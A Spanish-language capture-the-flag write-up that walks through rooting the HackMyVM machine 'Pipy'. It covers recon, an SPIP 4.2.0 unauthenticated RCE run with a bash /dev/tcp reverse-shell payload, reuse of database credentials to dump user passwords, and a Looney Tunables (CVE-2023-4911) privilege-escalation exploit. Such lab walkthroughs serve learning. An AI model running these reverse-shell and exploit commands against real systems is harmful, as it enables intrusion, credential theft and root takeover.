cd ~/blog

~/writeups/hmv/026-pipy.md

026 - Pipy

easy Linux hmv 26-02-2024
SPIP 4.2.0 Unauthenticated RCEDB credential reuseLooney Tunables Privesc (CVE-2023-4911)
hackmyvm.eu/machines/machine.php?vm=Pipy

~1 min de lectura


Comenzamos escaneando los puertos de manera general y específica:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.20
 nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.20
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-26 19:20 -03
Nmap scan report for 192.168.1.20
Host is up (0.00029s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c0:f6:a1:6a:53:72:be:8d:c2:34:11:e7:e4:9c:94:75 (ECDSA)
|_  256 32:1c:f5:df:16:c7:c1:99:2c:d6:26:93:5a:43:57:59 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-generator: SPIP 4.2.0
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Mi sitio SPIP
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.43 seconds

Enumeramos con gobuster:

 gobuster dir -u 192.168.1.20 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.php            (Status: 200) [Size: 7519]
/local                (Status: 200) [Size: 1935]
/vendor               (Status: 200) [Size: 1754]
/config               (Status: 200) [Size: 1755]
/tmp                  (Status: 200) [Size: 2783]
/LICENSE              (Status: 200) [Size: 35147]
/IMG                  (Status: 200) [Size: 933]
/spip.php             (Status: 200) [Size: 7518]
/htaccess.txt         (Status: 200) [Size: 4307]
/ecrire               (Status: 200) [Size: 13442]
/prive                (Status: 200) [Size: 6382]
...

Con whatweb confirmamos la versión del CMS:

 whatweb http://192.168.1.20
http://192.168.1.20 [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[192.168.1.20], JQuery, MetaGenerator[SPIP 4.2.0], SPIP[4.2.0][http://192.168.1.20/local/config.txt], Script[text/javascript], Title[Mi sitio SPIP], UncommonHeaders[composed-by,x-spip-cache]

SPIP 4.2.0 es vulnerable a RCE sin autenticación. Ejecutamos el exploit para obtener una shell:

 python3 51536.py -u http://192.168.1.20 -c 'bash -c "bash -i >& /dev/tcp/192.168.1.10/1234 0>&1"'

Ya con la shell, procedemos a la escalada. Encontramos pkexec con bit SUID (vulnerable a PwnKit), pero optamos por otra vía. En /var/www hay un .bash_history que apunta a connect.php, con las credenciales de la base de datos:

...
spip_connect_db('localhost','','root','dbpassword','spip','mysql', 'spip','','');
...

Nos conectamos a MySQL y volcamos la tabla de autores, obteniendo una contraseña del usuario angela:

www-data@pipy:/var/www$ mysql -u root -p
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| spip               |
| sys                |
+--------------------+

MariaDB [(none)]> use spip

MariaDB [spip]> show tables;
+-------------------------+
| Tables_in_spip          |
+-------------------------+
|         ...             |
| spip_auteurs            |
|      ...                |
+-------------------------+

MariaDB [spip]> select * from spip_auteurs;
...
Angela:angela@pipy.htb:4ng3l4
admin:admin@pipy.htb:$2y$10$.GR/i2bwnVInUmzdzSi10u66AKUUWGGDBNnA7IuIeZBZVtFMqTsZ2
...

Nos conectamos por SSH como angela y obtenemos la primera flag:

 ssh angela@192.168.1.20
angela@192.168.1.20's password:
angela@pipy:~$

Para escalar a root, comprobamos si el sistema es vulnerable a Looney Tunables:

angela@pipy:/tmp$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped)

El segfault confirma la vulnerabilidad. Clonamos el exploit en la víctima:

angela@pipy:/tmp$ git clone https://github.com/hadrian3689/looney-tunables-CVE-2023-4911.git

Generamos la librería maliciosa, compilamos y ejecutamos:

angela@pipy:/tmp/looney-tunables-CVE-2023-4911$ python3 libc.py
angela@pipy:/tmp/looney-tunables-CVE-2023-4911$ gcc exp.c -o exp
angela@pipy:/tmp/looney-tunables-CVE-2023-4911$ ./exp

Tras varios intentos obtenemos una shell con privilegios de root y capturamos la bandera.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados